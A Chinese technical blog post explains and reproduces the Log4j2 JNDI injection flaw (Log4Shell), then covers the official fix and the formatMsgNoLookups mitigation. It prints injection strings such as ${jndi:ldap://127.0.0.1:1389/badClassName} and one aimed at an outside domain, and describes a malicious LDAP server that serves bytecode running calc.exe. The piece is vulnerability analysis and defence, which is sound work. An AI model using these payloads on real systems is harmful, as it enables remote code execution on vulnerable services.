2021-12-10一个值得所有研发纪念的日子。

一波操作猛如虎,下班到了凌晨2点25。

基础组件的重要性,在此次的Log4j2漏洞上反应的淋漓尽致,各种“核弹级漏洞”、“超高危” 等词汇看的我瑟瑟发抖,那么问题真的有那么严重吗?这个让大家普遍加班搞到凌晨的漏洞,到底是什么问题?

01

漏洞解析、复现

Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象

而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象

看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名称实例化为对应的插件对象,然后与你所配置的Logger进行关联。

Console,RollingFile 等则是我们一般情况下常用的插件,而此次出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup 呐,就是下面这个

此时则会有一个疑问,这个插件?没见过?不熟悉?使用频率不高吧?

按照道理来说的确是这样,一个使用频率不高的插件,就算有漏洞,也很难会去触发到。

但偏偏这个插件被人为使用的频率较低,但代码触发到的频率很高,高到你代码中每次触发info,warn,error 等日志写入的时候,都会去校验一下是否执行Lookup的逻辑。也就是基于此,这样一个小的插件由于和日志的写入逻辑有所关联,就导致了漏洞触发的可能性成倍的增加。

Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,如下所示:

error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息

同理Log4j2中还封装的有DockerLookup,KubernetesLookup等,当你要在服务中获取Docker的元数据信息时,则最终会被Log4j2框架调度执行到DockerLookup方法中,由DockerLookup来执行具体的交互并返回对应的数据。

那么此时再来去看JndiLookup则一目了然了,没错,JndiLookup只是Log4j2框架中各种Lookup的其中一个,其作用则是通过Jndi规范去获取对应的配置信息时使用。

此时我们来验证一下JndiLookup的漏洞,如下所示:

各大安全厂商在发布漏洞验证报告时的截图均是以$Jndi 打开本地计算器为例,以此表示Jndi存在严重的安全隐患,所以此处本人也是直接以此为例来进行验证。

当我启动main方法后可以发现 ${jndi:ldap://127.0.0.1:1389/badClassName} 这段代码最终打开了本地的一个计算器程序,漏洞验证成功。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

实际上想要本地复现这个漏洞是并不简单的,所以为了后续可以更快速的理解,我们此处则需要重复几个概念:

1、jndi 全名 Java Naming and Directory Interface,是用于目录服务的Java API,它允许Java客户端通过名称发现查找数据和资源(以Java对象的形式)。

2、触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用JndiLookup传入值为 ldap://ip:port 。

3、jndi是目录接口,所以JndiLookup中则是各种目录接口的实现集合,如下图所示可以发现JndiLookup中可直接调用的具体实现类有很多,其中就包括LdapURLContext

OK,了解了上述的概念,我们就可以继续开始了。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

首先我们当前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是让Log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议,以此达到注入的效果。

那么在此之前,我们需要做的第一件事是先搭建一个ldap协议的服务端,只有这样才能做到Log4j2触发ldap协议时,可以成功访问你当前本地的1389端口,核心代码如下所示:

首先定义一个ldap协议的Server

第二步通过asm框架字节码的方式生成一个class类,class类主要内容便是执行Runtime.getRuntime.exec("calc.exe") 也就是该class类一旦被执行则会立即调用本地的计算器服务。

第三步则是ldap协议被访问后,则将当前的class类作为byte流输出为对应的响应结果

此时我们的服务端则搭建完成。

而对于客户端而言,则更加简单,仅需要引用对应的log4j-core的漏洞版即可,当前所引入的为2.14.1的版本。

启动测试,结果则如下所示:

此时身为好奇Boy的你可能仍然会有疑问:

1、jndi加载后的class字节流是在何时被实例化为对象的。

2、既然如此,Log4j2官方又是如何修复的?

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

02

疑问、复盘

针对jndi的问题,先做下相关说明:首先jndi本身并不是Log4j2框架的产物,而是Jdk自身的功能,对应的包路径为com.sun.jndi 。

jndi 在jdk中的定位是目录服务应用程序接口,目录服务可以想象为一个树,而java中常用的目录服务协议则是rmi和ldap,ldap本身就是一套常用的目录访问协议,一般我们windows常用的AD域也都是基于ldap协议的,而jndi的作用则是通过目录协议如ldap根据对应的目录名,去查找对应服务端的对象,并把该对象下载到客户端中来。

所以针对上述jndi:ldap的漏洞,其实这本身就不是问题,因为这本身就是jndi的功能,如果你的目录访问协议是可控的情况下,那么使用jndi则是安全的。

而Log4j2框架中JndiLookup使用到了Jndi的功能,但是对应的传参则较为随意,这就是一个很大的问题,如通过http的方式给业务服务传参数为:${jndi:ldap://yuming.com/service} ,而业务方服务又恰巧把该参数打到了日志中,这就会导致很大的漏洞,因为谁也无法保证注入的yuming.com/service返回的对象是什么,相当于是一个很大的后门,注入者可以通过此漏洞任意执行所有代码。

闭环了朋友们,文章最初所提到的这个漏洞真的有这么严重吗?看到这里想必也已经很清楚了,各种媒体所宣称的"核弹级",也是真的没什么毛病。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

此时所引出的第二个问题则是:Log4j2框架是如何修复的?

既然jndi的问题无法解决,那作为日志框架的“我”自然要从自身寻找问题,所以Log4j2框架本身的解决方案则是设置域名白名单,类白名单等操作,如果jndi:ldap对应的访问路径并非127.0.0.1同网段的服务等,则不会执行lookup() ,以此避免访问到外部的恶意服务上去。

Log4j2的代码修复记录如下:

老版本中关于JndiManager的代码是这样的,直接调用context.lookup(),context为jdk自身的jndi类

而修复后代码是这样的:在调用context.lookup()之前,做了较多的拦截操作,判断了对应的白名单类,以及host等操作

对于各公司内解决方案,实际上不见得一定要通过短时间内升级jar包的方式来解决,因为java体系内的各种log包的依赖,由于各种历史原因导致当前也是有点较为繁琐,如果想要短时间内更加无痛解决的情况下,直接在已有的项目下增加log4j2.formatMsgNoLookups=true,也可以完美解决该问题。

对应代码如下:配置该参数为true以后,会在对应的日志输出进行format格式化时,不再解析你当前日志中的 ${} 的代码块,造成的影响面则是服务代码中所有的 ${} 均不会再解析Lookup

当然,如果可以高效的推动各业务方升级则是最好的。

如果大家还有其他的奇门技巧来解决该问题,欢迎留言评论交流下你的解决方案。

 对于想要学习并验证该漏洞的小伙伴,则需要麻烦你扫码以下公众号,并发送消息“ldap” 便可直接获取ldap协议服务端源代码。(卑微打工人,在线引流恰饭  /哭 ,感谢大家对原创的支持! )

本文已进行版权登记,版权归属陈咬金,抄袭必究。

原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

Log4j2 Jndi 漏洞原理解析、复盘的更多相关文章

  1. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  2. 爱加密Android APk 原理解析

    转载请标明出处:http://blog.csdn.net/u011546655/article/details/45921025 爱加密Android APK加壳原理解析 一.什么是加壳? 加壳是在二 ...

  3. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  4. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  5. Android 上SuperUser获取ROOT权限原理解析

    Android 上SuperUser获取ROOT权限原理解析 一. 概述 本文介绍了android中获取root权限的方法以及原理,让大家对android 玩家中常说的“越狱”有一个更深层次的认识. ...

  6. 微软 IIS HTTP.sys漏洞原理学习以及POC

    零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket. ...

  7. (转)Apache和Nginx运行原理解析

    Apache和Nginx运行原理解析 原文:https://www.server110.com/nginx/201402/6543.html Web服务器 Web服务器也称为WWW(WORLD WID ...

  8. Spring IOC设计原理解析:本文乃学习整理参考而来

    Spring IOC设计原理解析:本文乃学习整理参考而来 一. 什么是Ioc/DI? 二. Spring IOC体系结构 (1) BeanFactory (2) BeanDefinition 三. I ...

  9. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

随机推荐

  1. 基于EPPlus和NPOI实现的Excel导入导出

    基于EPPlus和NPOI实现的Excel导入导出 CollapseNav.Net.Tool.Excel(NuGet地址) 太长不看 导入 excel 文件流将会转为 ExcelTestDto 类型的 ...

  2. 菜鸡的Java笔记 - java 线程常用操作方法

    线程常用操作方法        线程的命名操作,线程的休眠,线程的优先级            线程的所有操作方法几乎都在 Thread 类中定义好了            线程的命名和取得      ...

  3. [luogu6185]序列

    对于2操作,如果把这些操作看成边,那么对于某一个连通块内的若干个点,满足权值可以任意分配(证明:归纳,若n个点可以,那么先将新增的点调整好,再对原来n个点重新分配即可),因此可以将原图缩点,并将连通块 ...

  4. Centos8上安装Nginx

    一.Nginx下载 官网:http://nginx.org/ 选择稳定版下载:直接右键复制下载地址即可 命令: wget http://nginx.org/download/nginx-1.20.2. ...

  5. Spark SQL知识点与实战

    Spark SQL概述 1.什么是Spark SQL Spark SQL是Spark用于结构化数据(structured data)处理的Spark模块. 与基本的Spark RDD API不同,Sp ...

  6. 详解在Linux中安装配置MongoDB

    最近在整理自己私人服务器上的各种阿猫阿狗,正好就顺手详细记录一下清理之后重装的步骤,今天先写点数据库的内容,关于在Linux中安装配置MongoDB 说实话为什么会装MongoDB呢,因为之前因为公司 ...

  7. SAM 感性瞎扯

    SAM 做题笔记. 这里是 SAM 感性瞎扯. 最近学了后缀自动机(Suffix_Automaton,SAM),深感其巧妙之处,故写文以记之. 部分文字与图片来源于 OI-Wiki,hihoCoder ...

  8. CF1202E You Are Given Some Strings...

    题目传送门. 题意简述:给出 \(t\) 与 \(s_{1,2,\cdots,n}\).求对于所有 \(i,j\in[1,n]\),\(s_i+s_j\) 在 \(t\) 中出现次数之和. 如果只有 ...

  9. EXCEL-表格安全性:加密给与不同操作权限、表格怎么不让别人复制粘贴?

    1.下方表格名称右键-保护工作表,将所有选项取消勾选 然后设置一个密码就可以了 2.文件旁的三条线点开-选项-安全性,设置编辑权限密码,确定

  10. .net与java建立WebService再互相调用

    A: .net建立WebService,在java中调用. 1.在vs中新建web 简单修改一下Service.cs的[WebMethod]代码: using System; using System ...